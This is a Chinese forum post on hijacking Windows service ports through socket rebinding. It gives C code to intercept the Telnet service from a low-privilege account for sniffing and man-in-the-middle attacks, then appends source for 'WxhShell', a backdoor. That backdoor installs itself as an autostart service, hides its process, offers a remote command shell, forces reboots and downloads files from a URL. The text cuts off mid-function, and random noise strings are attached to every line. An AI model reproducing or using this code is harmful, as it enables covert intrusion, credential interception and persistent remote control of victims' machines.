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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 9 xvE?8;M#  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,'CDKzY  
jF'azlT  
  saddr.sin_family = AF_INET; &S.zc@rN  
p[QF3)9F  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 5O9Oi:-!c  
ql%>)k /x  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); )p MZ5|+X  
MR90}wXE  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 z/7H/~d  
89B1\ff  
  这意味着什么?意味着可以进行如下的攻击: :;u~M(R  
'\:?FQ C  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 m6bI<C3^5  
Ah_'.r1<P9  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) T|p$Ddt`+  
%aX<p{EY  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 <R:KR(bT  
f8E S GU  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  &Jj^)GBU  
46'EZ@#s  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 bID'r}55  
Q1Z;vzQfg  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 2-| oN/FD  
G}<q  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 B@]( ,  
Gb%PBg}HH  
  #include S ~lw5  
  #include O{rgZ/4Au  
  #include KM|[:v  
  #include    5|:=#Ql*  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Dyp'a  
  int main() kTG}>I  
  { EkV v  
  WORD wVersionRequested; muQ7sJ9 r  
  DWORD ret; K}O~tff  
  WSADATA wsaData; ||7r'Q  
  BOOL val; 6^['g-\2  
  SOCKADDR_IN saddr; L[+65ce%*  
  SOCKADDR_IN scaddr; KoQvC=+WI  
  int err; SDV} bN  
  SOCKET s; Arz> P@EQ  
  SOCKET sc; A0S6 4(  
  int caddsize; :$[m[y7i  
  HANDLE mt; Yc#oGCt  
  DWORD tid;   <4*7HY[  
  wVersionRequested = MAKEWORD( 2, 2 ); 4 !~JNO  
  err = WSAStartup( wVersionRequested, &wsaData ); Cs%'Af  
  if ( err != 0 ) { ~@R=]l"  
  printf("error!WSAStartup failed!\n"); x&)P)H0vn  
  return -1; \u,hS*v0  
  } <s-_ieW'  
  saddr.sin_family = AF_INET; LP_ !g  
   1k l4X3q6  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Oa7`Y`6  
fCZbIt)Eh  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); (a`z:dz}  
  saddr.sin_port = htons(23); n?aogdK$V  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) m+DkO{8F  
  { `-Gs*#(/  
  printf("error!socket failed!\n"); ImklM7A  
  return -1; o?^j1\^  
  } ^']xkS  
  val = TRUE; :!3CoC.X|c  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 suPQlU>2sj  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ~|Gtm[9Ru  
  { Vjj30f  
  printf("error!setsockopt failed!\n"); .knRH^  
  return -1; YG?W8)T  
  } Tp[ub(/;7  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Hc^b}A y7  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 X,x{!  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ZxbWgM5rm  
nd_d tsp#  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ] 2FS=  
  { Y'bDEdeT  
  ret=GetLastError(); )"A+T&  
  printf("error!bind failed!\n"); OyZgg(iN  
  return -1; N}VKH5U|  
  } hXbb+j  
  listen(s,2); 98Pt&C?-B  
  while(1) R(r89bTQ  
  { O)`R)MQ)  
  caddsize = sizeof(scaddr); mm\J]Cc`  
  //接受连接请求 l5D8DvJCj  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ^#lPXC Bg  
  if(sc!=INVALID_SOCKET) 8_8 R$ =V  
  { z930Wi{@  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); CdatN$/*  
  if(mt==NULL) 5sFp+_``  
  { /V2 ^/`&;a  
  printf("Thread Creat Failed!\n"); >F!2ib8  
  break; ~F+{P4%`<  
  } sR +=<u1  
  } MY4cMMjp~  
  CloseHandle(mt); 4mQ:i7~  
  } { >bw:^F  
  closesocket(s); p_) V@ 7  
  WSACleanup(); (Pbdwzao  
  return 0; #l+U(zH:JG  
  }   *Jmy:C<>  
  DWORD WINAPI ClientThread(LPVOID lpParam) GO+cCNMa"  
  { UOy`N~\gh+  
  SOCKET ss = (SOCKET)lpParam; : JD% =w_  
  SOCKET sc; 4nXS}bWf  
  unsigned char buf[4096]; nRPy)L{  
  SOCKADDR_IN saddr; =UM30 P/  
  long num; +I;b,p  
  DWORD val; *y='0)[BD  
  DWORD ret; >ys>Q)  
  //如果是隐藏端口应用的话,可以在此处加一些判断 !G 90oW  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   tTLD6#  
  saddr.sin_family = AF_INET; F(Pe@ #)A  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); S}cpYjnH8  
  saddr.sin_port = htons(23); =^|^" b  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) vjhd|  
  { c'vxT<8fWW  
  printf("error!socket failed!\n"); *rXESw]BR  
  return -1; *[wy- fu  
  } =%%\b_\L  
  val = 100; *}-X '_  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )~rf x  
  { p&>*bF,  
  ret = GetLastError(); <IC=x(T  
  return -1; Q&opnvN  
  } +%OINMo.A  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E5~HH($b  
  { !\'7j-6  
  ret = GetLastError(); Vl%AN;o  
  return -1; osoreo;V^  
  } o8-BTq8  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 8V`NQS$  
  { j&6,%s-M`a  
  printf("error!socket connect failed!\n"); ms{:=L2$$  
  closesocket(sc); {0nZ;1,m  
  closesocket(ss); &=Gz[1 L  
  return -1; #v0"hFOH,  
  } GpMKOjVm|  
  while(1) gPSUxE `O.  
  { gbsRf&4h  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 l"5$6h  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 1P. W 34  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 +FfT)8@W  
  num = recv(ss,buf,4096,0); m2E$[g  
  if(num>0) Y9Q-<~\z  
  send(sc,buf,num,0); w<3}(1  
  else if(num==0) A[oLV"J6x5  
  break;  Zf68 EB  
  num = recv(sc,buf,4096,0); M#LQz~E  
  if(num>0) Z.am^Q^Y!  
  send(ss,buf,num,0); jJk M:iR  
  else if(num==0) RrSSAoz1  
  break;  _CY>45  
  } `zGK$,[%  
  closesocket(ss); xphw0Es  
  closesocket(sc); dB+x,+%u+  
  return 0 ; K QXw~g?  
  } |RDmY!9&  
)z&0 g2Am  
a% |[m,FvP  
========================================================== (f#QETiV  
EAn}8#r'(8  
下边附上一个代码,,WXhSHELL }YW0?-G.$  
/+l3 BeL  
========================================================== A ${b]  
7Fw`s@/%  
#include "stdafx.h" F`S OF O  
fzO4S^mTo8  
#include <stdio.h> vpcHJ^19  
#include <string.h> vDZhoD=VR  
#include <windows.h> P*oKcq1R  
#include <winsock2.h> py`RH )  
#include <winsvc.h> GE]fBg  
#include <urlmon.h> F@Y)yi?z  
sfNXIEr^  
#pragma comment (lib, "Ws2_32.lib") h>-JXuN  
#pragma comment (lib, "urlmon.lib") f ZL%H0&  
v+U( #"  
#define MAX_USER   100 // 最大客户端连接数 ";E Mu(IXb  
#define BUF_SOCK   200 // sock buffer i/9QOw~  
#define KEY_BUFF   255 // 输入 buffer V#.;OtF]  
u +q}9  
#define REBOOT     0   // 重启 6kuN)  
#define SHUTDOWN   1   // 关机 Yr@_X  
@/*{8UBP  
#define DEF_PORT   5000 // 监听端口 UZ0fw@RM  
jLX{$,  
#define REG_LEN     16   // 注册表键长度 fI>>w)5  
#define SVC_LEN     80   // NT服务名长度 /tl/%:U*.  
qp 4.XL  
// 从dll定义API s:lar4>kM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); wNL!T6"G  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); rGuhYYvK  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); bhe~ekb  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v39`ct=e  
t1?e$s  
// wxhshell配置信息 r`XIn#o  
struct WSCFG { c[E{9wp v  
  int ws_port;         // 监听端口 !Rk1q&U5  
  char ws_passstr[REG_LEN]; // 口令 fiOc;d8  
  int ws_autoins;       // 安装标记, 1=yes 0=no "r @RDw   
  char ws_regname[REG_LEN]; // 注册表键名 KY H*5  
  char ws_svcname[REG_LEN]; // 服务名 A`<#}~A  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]'V8{l  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 o0$R|/>i  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~t[ #p:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no au7%K5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" B!GpD@U  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~ ui/Qf2|  
9 tkj:8_  
}; u8qL?Aj^  
r) Ts(#Z  
// default Wxhshell configuration L0uvRge  
struct WSCFG wscfg={DEF_PORT, <q hNX$t  
    "xuhuanlingzhe", j)ZvlRi,  
    1, 5,`U3na,  
    "Wxhshell", :J]S+tQ)  
    "Wxhshell", B+S &vV  
            "WxhShell Service", *%1:="W*|  
    "Wrsky Windows CmdShell Service", uMa: GDh7  
    "Please Input Your Password: ", <_@ K4zV  
  1, O$u;]cg  
  "http://www.wrsky.com/wxhshell.exe", (q`Jef  
  "Wxhshell.exe"  A]R7H1  
    }; !t "uNlN  
loN!&YceW  
// 消息定义模块 mE)65@3%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; u{0+w\xH\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; E{gu39D  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [M_pf2Y  
char *msg_ws_ext="\n\rExit."; !P/ ]o  
char *msg_ws_end="\n\rQuit."; -v?,{?$0  
char *msg_ws_boot="\n\rReboot..."; 6 GX'&z  
char *msg_ws_poff="\n\rShutdown..."; 6-va;G9Fc  
char *msg_ws_down="\n\rSave to "; hh}%Z=  
vLn<=.  
char *msg_ws_err="\n\rErr!"; XSt5s06TM  
char *msg_ws_ok="\n\rOK!"; mNN,}nHu  
ZiM#g1;  
char ExeFile[MAX_PATH]; AE!WYE  
int nUser = 0; LinARMPv  
HANDLE handles[MAX_USER]; #@H{Ypn`  
int OsIsNt; ~-x8@ /   
{%D!~,4Ht  
SERVICE_STATUS       serviceStatus; `%AFKmc^;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; vLR)B@O,2  
vE/g{~[5  
// 函数声明 y@]4xLB]  
int Install(void); sN|-V+7&j  
int Uninstall(void); >C"cv^%c  
int DownloadFile(char *sURL, SOCKET wsh); ;OQ-T+(T  
int Boot(int flag); d='z^vHK  
void HideProc(void); piJ/e  
int GetOsVer(void); vW]Frb  
int Wxhshell(SOCKET wsl); 1Uz'= a  
void TalkWithClient(void *cs); }<7Dyn,  
int CmdShell(SOCKET sock); hKtOh  
int StartFromService(void); *E0+!  
int StartWxhshell(LPSTR lpCmdLine); y2>v'%]2  
T~8` {^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); AbUU#C7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8OH<ppi  
ASY uZ  
// 数据结构和表定义 6CO>Tg:%  
SERVICE_TABLE_ENTRY DispatchTable[] = KIn^,d0H  
{ y$s}-O]/-  
{wscfg.ws_svcname, NTServiceMain}, L`FsK64@  
{NULL, NULL} ^!k^=ST1J  
}; S#0y\  
Y>t*L#i  
// 自我安装 hor ok:{  
int Install(void) &=fBqod  
{ /eDah3%d  
  char svExeFile[MAX_PATH]; R<LW*8  
  HKEY key; =sRd5aMs  
  strcpy(svExeFile,ExeFile); qTC`[l  
.  hHt+  
// 如果是win9x系统,修改注册表设为自启动 |[D~7|?  
if(!OsIsNt) {  ;Fcdjy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Dn$zwksSs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1pXAPTV  
  RegCloseKey(key); j^KM   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @ :Q];rc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !Y=s_)X  
  RegCloseKey(key); o;FjpZ  
  return 0; :eS7"EG{3  
    } FePJ8  
  } n-,~Bp [  
} ]@l~z0^|[_  
else { L6BHh_*E  
FU!U{qDI  
// 如果是NT以上系统,安装为系统服务 V5KAiG<d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W()FKP\??!  
if (schSCManager!=0) ERL(>)  
{ X ~4^$x  
  SC_HANDLE schService = CreateService v3S{dX<  
  ( gv `jeN  
  schSCManager, GEA@AD=^f  
  wscfg.ws_svcname, %xxe U  
  wscfg.ws_svcdisp, Bp^>R`,  
  SERVICE_ALL_ACCESS, vtR<(tOu@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vb: '%^v  
  SERVICE_AUTO_START, <| |Lj  
  SERVICE_ERROR_NORMAL, `h$6MFC/g  
  svExeFile, *[ Wh9 ,H  
  NULL, W~W^$A  
  NULL, OI %v>ns  
  NULL, JC{}iG6r+  
  NULL, F"hi2@/TI  
  NULL [KWF7GQi  
  ); mfG|K@ODM-  
  if (schService!=0) pSQ3 SM  
  { qTqvEa^X`  
  CloseServiceHandle(schService); jR@-h"2*A  
  CloseServiceHandle(schSCManager); 1|/2%IDUI  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :L:;~tK  
  strcat(svExeFile,wscfg.ws_svcname); zQ]IlMt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { j /-p3#c  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )t&|oQ3sVG  
  RegCloseKey(key); ~SM2W%  
  return 0; \'E_  
    } a6WE,4T9  
  } QI=SR  
  CloseServiceHandle(schSCManager); rC_K L  
} =eac,]31  
} Uw61X>y=  
sf\;|`}  
return 1; .%->   
} +hjc~|RK  
V$q%=Sip  
// 自我卸载 U{>!`RN  
int Uninstall(void) m{%_5nW  
{ 2:pq|eiF  
  HKEY key; >z^T~@m7l  
8H;TPa  
if(!OsIsNt) { DX$`\PA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D:n0d fPU  
  RegDeleteValue(key,wscfg.ws_regname); 0)ST_2Ci  
  RegCloseKey(key); +Ya-h~7;g#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2d.I3z:[  
  RegDeleteValue(key,wscfg.ws_regname); 7 UQD02  
  RegCloseKey(key); `9K'I-hv<8  
  return 0; 9%zR ? u  
  } 5R"b1  
} C dZ;ZR  
} ^~BJu#uVyy  
else { 0QC*Z (  
b17p; wS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "a,Tc2xk  
if (schSCManager!=0) @Zq,mPaR$  
{ _LK>3S qd  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 'c &Bmd40  
  if (schService!=0) +bRL.xY  
  { +\:I3nKs%  
  if(DeleteService(schService)!=0) { 5V?1/  
  CloseServiceHandle(schService); /%xK-z,V  
  CloseServiceHandle(schSCManager); ;"Ot\:0  
  return 0; @ K@~4!  
  } pY8+;w EI  
  CloseServiceHandle(schService); <mm}IdH  
  } ~Dy0HVE   
  CloseServiceHandle(schSCManager); Rdnd|  
} 3ZZJYf=  
} x<ENN>mW1  
?: meix  
return 1; (4g; -*N  
} ]/$tt@h  
'rR\H2b   
// 从指定url下载文件 ;m`I}h<  
int DownloadFile(char *sURL, SOCKET wsh) e#zGLxa  
{ S0 yPg9v  
  HRESULT hr; er qm=)  
char seps[]= "/"; P$pl  
char *token; DV%tby  
char *file; zkd#vAY(A  
char myURL[MAX_PATH]; _K;rM7  
char myFILE[MAX_PATH]; O-y"]Wrv  
?QuFRl,ZJ  
strcpy(myURL,sURL); xxV{1, H2  
  token=strtok(myURL,seps); +=}% 7o  
  while(token!=NULL) T|{BT! W1E  
  { |f>y"T+1  
    file=token; 9*2hBNp+  
  token=strtok(NULL,seps); Q|v=WC6  
  } 2j"%}&  
Me`"@{r|#  
GetCurrentDirectory(MAX_PATH,myFILE); r?[mn^Bo5  
strcat(myFILE, "\\"); 6u.b?_u  
strcat(myFILE, file); yNDyh  
  send(wsh,myFILE,strlen(myFILE),0); u8W*_;%:  
send(wsh,"...",3,0); $ o t"Du  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); d&ZwVF!  
  if(hr==S_OK) 4\$Ze0tv  
return 0; {UUVN/$  
else C/cGr)|8%  
return 1; }pTj8Tr  
-B4v1{An  
} rmhCuY?f  
_c(=>  
// 系统电源模块 '<}7bw}+c  
int Boot(int flag) !^LvNW\|  
{ L,D!T&B  
  HANDLE hToken; kfVG@o?o  
  TOKEN_PRIVILEGES tkp; @O3w4Zs  
w_{z"VeD  
  if(OsIsNt) { 7}lZa~/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); NMj `wQ`M+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HOUyB's'  
    tkp.PrivilegeCount = 1; /f6]XP\'`+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; oqY?#p/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); q%y_<Fw#E  
if(flag==REBOOT) { sZbzY^P  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) O%)9t FT  
  return 0; MkYem6  
} ~/#?OLj(T  
else { lGM3?AN  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) BT#>b@Xub  
  return 0; pUwX cy<n  
} uo65i 1oi  
  } BsRas  
  else { M"FAUqz`  
if(flag==REBOOT) { CVUJ(D&Q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) SP*5 W)6  
  return 0; ^twv0>vEo  
} $yc,D=*Isi  
else { 'qP^MdoE%~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  HOD2/  
  return 0; tFSdi. |G=  
} HdLkof2i  
} 7]^ }  
I^wj7cFo5  
return 1; FU[,,a0<<  
} [@y=% \%R  
XnY}dsS O  
// win9x进程隐藏模块 ]_=HC5"  
void HideProc(void) 8qc %{8  
{ (o:Cxh V  
jK=*~I  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (G"qIw   
  if ( hKernel != NULL ) * c%@f<R~  
  { kg61Dgu  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;`+RSr^8$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); b{ozt\:M  
    FreeLibrary(hKernel); ."^dJ |fN  
  } _Pz3QsV9  
j(BS;J$i  
return; |HU qqlf  
} ]q3Kd{B  
7E5Dz7  
// 获取操作系统版本 k1U~S`>$  
int GetOsVer(void) c@^:tB  
{ F@*lR(4C  
  OSVERSIONINFO winfo; qB39\j  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); LAKZAi%O0  
  GetVersionEx(&winfo); ~ghz%${`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :^s7#4%6  
  return 1; %~;Q_#CR/K  
  else ^hHeH:@  
  return 0; {UmCn>c  
} 8k1 r|s@d  
/SKr.S61e  
// 客户端句柄模块 W@C56fCa  
int Wxhshell(SOCKET wsl) q5!l(QL.  
{ n>0dz#  
  SOCKET wsh; Fa!)$eb7  
  struct sockaddr_in client; MELGTP>  
  DWORD myID; pjCWg 4ya  
~fF }  
  while(nUser<MAX_USER) \O8f~zA{G  
{ m c+wRx  
  int nSize=sizeof(client); GufP[|7b-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); R>U<8z"i  
  if(wsh==INVALID_SOCKET) return 1; sKuTG93sr@  
9v F2aLPk  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); j>Z]J'P  
if(handles[nUser]==0) >YBpB,WND  
  closesocket(wsh); `eWc p^|  
else ._&lG3'  
  nUser++; N.G*ii\  
  } UjDF  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); yK B[HpU-  
`I>K?  
  return 0; xI: 'Hk1  
} r^E]GDz  
4 ufLP DH  
// 关闭 socket q-G|@6O  
void CloseIt(SOCKET wsh) P\mm8s`f  
{ 9i<-\w^$  
closesocket(wsh); _o?(t\B9{  
nUser--; ^!<7#kX  
ExitThread(0); 3N"&P@/0x  
} jDX<iX%e  
]`sIs= _[  
// 客户端请求句柄 M',D  
void TalkWithClient(void *cs) 6XAr8mw9  
{ 3NN'E$"3  
J4}\V$ysN  
  SOCKET wsh=(SOCKET)cs; cQ.;dtT0  
  char pwd[SVC_LEN]; hu|hOr8  
  char cmd[KEY_BUFF]; icul15'i  
char chr[1]; !ix<|F5  
int i,j; Z&w^9;30P  
kN j3!u$  
  while (nUser < MAX_USER) { e^NEj1  
 ;Z q~w  
if(wscfg.ws_passstr) { S8OVG4-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DjzUH{6O  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )6Q0f  
  //ZeroMemory(pwd,KEY_BUFF); b'1d<sD  
      i=0; "x;k'{S  
  while(i<SVC_LEN) { ,GJ>vT)  
T4=3VrS  
  // 设置超时 n]DNxC@b  
  fd_set FdRead; 0['"m^l0S  
  struct timeval TimeOut; U('<iw,Yy  
  FD_ZERO(&FdRead); .Sr:"SrT  
  FD_SET(wsh,&FdRead); R-Q1YHUQM  
  TimeOut.tv_sec=8; )SX6)__  
  TimeOut.tv_usec=0; 3EVC8ue  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Ke?gz:9j  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); KKjxg7{K  
+z=%89GJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Dsj|~J3  
  pwd=chr[0]; XLmMK{gs  
  if(chr[0]==0xd || chr[0]==0xa) { o~x39  
  pwd=0; :pDY  
  break; ~BvY8\@B  
  } BO4 K#H7  
  i++; 9J7J/]7f  
    } uUz`=4%A  
! F <] T  
  // 如果是非法用户,关闭 socket @ 9 { %Kn  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2d2@J{  
} [9O~$! <%  
E,LYS"%_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F[kW:-ne@Z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T1Q sW<*j  
E ;!<Z4  
while(1) { AM[jL'r|  
'dc+M9u)_q  
  ZeroMemory(cmd,KEY_BUFF); Q*:h/Lhb&  
vV.~76AD5  
      // 自动支持客户端 telnet标准   >4/L-y+  
  j=0; bqrJP3  
  while(j<KEY_BUFF) { qggk:cN1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Dk`4bYK  
  cmd[j]=chr[0]; 43>9)t  
  if(chr[0]==0xa || chr[0]==0xd) { Pc(n@'m~  
  cmd[j]=0; |[ Ie.&)  
  break; ,MM>cOQ  
  } )@,90Vhh  
  j++; X&(ERY,h  
    } #$=8g RZj  
H=&/Q  
  // 下载文件 30?LsYXL62  
  if(strstr(cmd,"http://")) { hDljY!P>p  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9$+^"ilk  
  if(DownloadFile(cmd,wsh)) aZj J]~bO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }r}RRd  
  else R3j#WgltP  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m-ph}  
  } 0\'Q&oTo  
  else { 3e%l8@R@  
eA?uny f2r  
    switch(cmd[0]) { -R&E,X7N  
  wb6L? t  
  // 帮助 ahNX/3; y  
  case '?': { Kx- s0cw  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); f6B-~x<l  
    break; \\S/ NA  
  } fey*la Xq  
  // 安装 n @ &"+  
  case 'i': { *BLe3dok(  
    if(Install()) 3vdu;W=Sz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :}@C9pqr2  
    else 2.LJp}>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IvTzPPP  
    break; Vvm=MBgN  
    } QqiJun_m  
  // 卸载 VYamskK[G:  
  case 'r': { !%c{+]g  
    if(Uninstall()) o_Jn_3=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [DZqCo  
    else DS:>/m>)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uu}`warW  
    break; JF~1' "_f:  
    } c62dorDqy  
  // 显示 wxhshell 所在路径 /m `}f]u  
  case 'p': { qoC]#M$oo#  
    char svExeFile[MAX_PATH]; 4$ Dt8!p0  
    strcpy(svExeFile,"\n\r"); R_1)mPQ^P  
      strcat(svExeFile,ExeFile); ,VNi_.W0  
        send(wsh,svExeFile,strlen(svExeFile),0); D W/1 =3  
    break; J~Cc9"(  
    } :}y9$p  
  // 重启 Ap5}5 ewM  
  case 'b': { |[S90Gw]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  hv+|s(  
    if(Boot(REBOOT)) 4q>7OB:e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (O\U /daB  
    else { gi6g"~%@q1  
    closesocket(wsh); Deg!<[Nw  
    ExitThread(0); aUH\Ee^M:R  
    } YD&|1h  
    break; F9(._ow[  
    } GX4QaT%  
  // 关机 Z_H?WGO  
  case 'd': { AV40:y\RW  
